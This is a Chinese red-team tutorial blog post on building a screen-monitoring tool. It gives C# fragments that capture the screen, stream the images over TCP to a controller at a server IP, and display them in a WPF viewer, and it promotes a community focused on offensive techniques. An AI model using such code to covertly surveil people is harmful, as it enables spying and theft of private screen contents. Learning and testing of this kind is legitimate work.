红队研发:编写一个屏幕 Monitor 程序

admin 2025年2月11日00:14:36评论14 views字数 2518阅读8分23秒阅读模式

红队研发:编写一个屏幕 Monitor 程序

屏幕监控其实在黑灰产使用中的用的会相对多一点,在实际的红队演练中,其实最多就是截个图,留个证用来写报告,这篇文章就间接介绍一下屏幕监控的实现原理,以及编写一个程序,用作学习练习。

屏幕监控

屏幕监控程序的主要逻辑其实可以分为:

  1. 1. 客户端截取屏幕。
  2. 2. 将截取到的屏幕数据通过封包发送到服务端(控制端)。
  3. 3. 服务端接收到数据后,解析并通过UI展示出来。

截取屏幕

像c#这种高级语言,一般在UI框架,比如winform中都会提供封装好的屏幕截取API,你可以直接调用就行:

int width = screenBounds.Width;int height = screenBounds.Height;using (Bitmap bitmap = new Bitmap(width, height)){using (Graphics g = Graphics.FromImage(bitmap))    {        g.PageUnit = GraphicsUnit.Pixel;        g.CopyFromScreen(screenBounds.Location, Point.Empty, screenBounds.Size);    }return bitmap;}

其实类似这种封装好的API底层还是回去调用win32API,但是谁让我们就是图个方便呢?(其实里面有些坑,比如缩放之类的,还是需要调用win32解决,圈内完整代码已经解决了这个问题)

数据传输

这个其实就比较简单了,就是一个服务端用来接收数据,客户端把截取到的图片数据发送给服务端:服务端接收数据:

tcpListener = new TcpListener(IPAddress.Any, serverPort);tcpListener.Start();Console.WriteLine("服务器启动,等待连接...");tcpClient = tcpListener.AcceptTcpClient();networkStream = tcpClient.GetStream();reader = new BinaryReader(networkStream);while (true){while (!networkStream.DataAvailable)       {              Thread.Sleep(100); // 避免高CPU占用       }int imageLength = reader.ReadInt32();byte[] imageBytes = await ReadFullyAsync(networkStream, imageLength);this.Dispatcher.InvokeAsync(() => {             ReceiveAndDisplayScreenshot(imageBytes);       });                         }

客户端发送数据:

using (TcpClient client = new TcpClient()){   client.Connect(IPAddress.Parse(serverIp), serverPort);using (NetworkStream stream = client.GetStream())   {while (true       {byte[] screenshotData = CaptureScreen();var bytesLen = BitConverter.GetBytes(screenshotData.Length);           stream.Write(bytesLen, 0sizeof(Int32));           stream.Write(screenshotData, 0, screenshotData.Length);           stream.Flush();            Thread.Sleep(50);         }    }}

UI展示

这个用WPF就太好搞了,WPF就是这点好,写UI通过类XAML语言,实时预览,比硬敲代码舒服多了:

    <Grid>        <Image x:Name="DynamicImage" Stretch="Uniform" Source="{Binding CurrentBitmap}"/>    </Grid>

我们创建一个image控件,绑定到CurrentBitmap,也就是获取到的图片数据上面,实现对图像数据的动态展示。

privatevoidReceiveAndDisplayScreenshot(byte[] image){byte[] DecompressImage = DecompressData(image);using (MemoryStream ms = new MemoryStream(DecompressImage))    {        BitmapImage bitmapImage = new BitmapImage();        bitmapImage.BeginInit();        bitmapImage.StreamSource = ms;        bitmapImage.CacheOption = BitmapCacheOption.OnLoad;        bitmapImage.EndInit();        CurrentBitmap = bitmapImage;    }}

每次获取到新的屏幕数据后,就动态解析并展示在UI中。

上述就是一个简单的屏幕监控程序的流程,实际使用中需要优化的地方也是很多的,比如最开始的分辨率缩放问题,又比如效率问题,如何传输,是否需要压缩等等。

成品演示:

代码获取方式,文末交流圈👇

这是一个纯粹,开放,前沿的技术交流社区,成员主要有互联网大厂安全部门任职的成员,乙方红队专家,以及正在学习入门的小白等,目前主题主要以红队研发为主(有经验的都知道是什么意思),以及其他涉及到红队进攻侵入性技术,如果你想学习技术,认识不同的人或者寻求一个机会之类的,可以来看看👇👇👇

红队研发:编写一个屏幕 Monitor 程序
红队研发:编写一个屏幕 Monitor 程序

欢迎加入交流圈

扫码获取更多精彩

红队研发:编写一个屏幕 Monitor 程序
红队研发:编写一个屏幕 Monitor 程序
红队研发:编写一个屏幕 Monitor 程序

原文始发于微信公众号(黑晶):红队研发:编写一个屏幕 Monitor 程序

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月11日00:14:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队研发:编写一个屏幕 Monitor 程序https://cn-sec.com/archives/3724183.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息